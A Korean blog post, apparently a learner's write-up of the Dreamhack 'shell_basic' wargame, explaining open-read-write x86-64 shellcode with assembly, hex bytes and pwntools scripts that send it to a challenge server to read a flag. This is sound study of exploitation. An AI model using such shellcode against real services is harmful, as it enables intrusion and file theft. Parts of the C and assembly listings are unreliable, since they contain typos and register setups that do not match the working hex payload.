[드림핵 - 시스템]Shellcode

스근한국밥한그릇·2024년 11월 23일
0

SYSTEM

목록 보기
7/15

1. 용어 정리

  1. 셸코드 : 익스플로잇 위해 제작된 어셈블리 코드 조각
    • rip를 자신이 작성한 셸코드로 옮기는 것이 중요
  2. exploit : 시스템 공격하는 행위
  3. orw shell code : 파일 열고, 읽은 뒤 화면에 출력하는 셸코드

1-1 orw shell code

#define	0_RDONLY	0
#define	0_WRONLY	1
#define	0_RDWR		2

Char buf[0x30];

Int fd = open(/tmp/flag”, RD_ONLY, NULL);
read(fd, but, 0x30);
write(1, buf, 0x30);

1-1-1 syscall 정리

1. open

  • rax : 0x02
  • rdi : const char *filename
  • rsi : int flags
  • rdx : umode_t mode

Int fd = open(“/tmp/flag”, RD_ONLY, NULL);

  • "/tmp/flag" 문자열을 메모리에 위치시켜야함 이후 리틀엔디안형식으로 변환
  • stack은 8바이트 단위로만 값 push 가능 8바이트 단위로 나누어줌
  • rsi : 0 => xor rsi, rsi / mov rsi, 0
  • rdx : mode = 0 -> mov rdx, 0 / xor rdx, rdx
  • rax : mov rax, 0x2

2. read

  • rax : 0x00
  • arg0(rdi) : unsigned int fd
  • arg1(rsi) : char *buf
  • arg2(rdx) : size_t count

read(fd, but, 0x30);

  • open의 return 값은 %rax로 저장 => mov %rdi, %rax
  • rsi : 데이터 저장할 주소 : 0x30만큼 읽을 것 => mov rsi, rsp / sub rsi, 0x30
  • rdx : 0x30 => mov rdx, 0x30
  • read수행 위해 rax 0으로 설정 => mov rax, 0 / xor rax, rax

3. write

  • rax : 0x01
  • rdi : unsigned int fd
  • rsi : const char *buf
  • rdx : size_t count

write(1, buf, 0x30);

  • rdi 0x1로 설정 => fd = 1 / 0 = 일반 입력 / 1 = 일반 출력 / 2 = 일반 오류
  • rsi, rdx 그대로
  • mov rax, 1

2. Shell_basic

2-1 풀이방법

해당문제는 2개의 풀이방법이 존재하였다.

1. asmbly 언어를 직접 작성하여 hexdump를 이용해 shellcode를 직접 주입하는 방법
2. pwntools 에서 제공하는 메서드를 이용하여 orw 셸코드를 작성하는 방법

2-2 explain of asm

  • 실제로 해당 코드를 작성하는 것은 어렵지 않았다. 우리가 해야할일은 Open -> read -> write 순으로 시스템 콜을 호출하기만 하면 되는 것이다. 위의 내용들을 참조하여 셸코드를 작성해볼 수 있다.

2-2-1 assembly 작성

 global _open

_open:
	;path를 hex로 변환후 little endian으로 변환시켜 스택에 push
	push 0x0
	mov rax, 0x676E6F6F6F6F6F ;8byte 단위로 push하여야함
	push rax
	mov rax, 0x676E6F6F6F6F6F
	push rax
	mov rax, 0x6D616E5F67616C
	push rax
	mov rax, 0x662F6369736162
	push rax
	mov rax, 0x5F6C6C6568732F
	push rax

	mov rdi, rsp
	xor rsi, rsi
	xor rdx, rdx
	mov rax, 2
	syscall		;open
 
	mov rdi, rax
	mov rsi, 0x30
	mov rdx, 0x30
	mov rax, 0
	syscall		;read

	mov rdi, 1
	mov rax, 1
	syscall		;write

	xor rdi, rdi
	mov rax, 0x3c
	syscall		;exit

2-2-2 hexdump

  • 해당 코드를 작성했다면
    1. object file 생성
      nasm -f elf64 filename.asm

    2. bin 파일 생성
      objcopy --dump-section .text=filename.bin filename.o

    3. 해당 파일 출력
      xxd filname.bin

2-2-3 python코드 작성

  • filname.bin 코드에서 assembly언어의 hex값만 추출해야함
#! /usr/bin/python3

file_path = "./write.bin"

with open(file_path, "rb") as file:
    machine_code = file.read()
    for byte in machine_code:
            print("\\x{:02x}".format(byte), end="")

print()

  • 추출한 hex 값을 복사하여 exploit code 작성
#! /usr/bin/python3

from pwn import *

p = remote("host3.dreamhack.games", 11673)
context.arch = "amd64"

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter("shellcode: ", shellcode)
print(p.recv(1024))

2-3 explain of pwntools

  • pwntools 에서는 위의 orw 셸코드를 직접 작성하지 않아도 되도록 메서드를 지원한다.
#! /usr/bin/python3

from pwn import *

p = remote('host3.dreamhack.games', 8658)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"

shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)

p.recvuntil("shellcode: " )
p.sendline(asm(shellcode))
print(p.recv())

profile
항상 든든하게 코딩 한그릇🧑‍💻🍚

0개의 댓글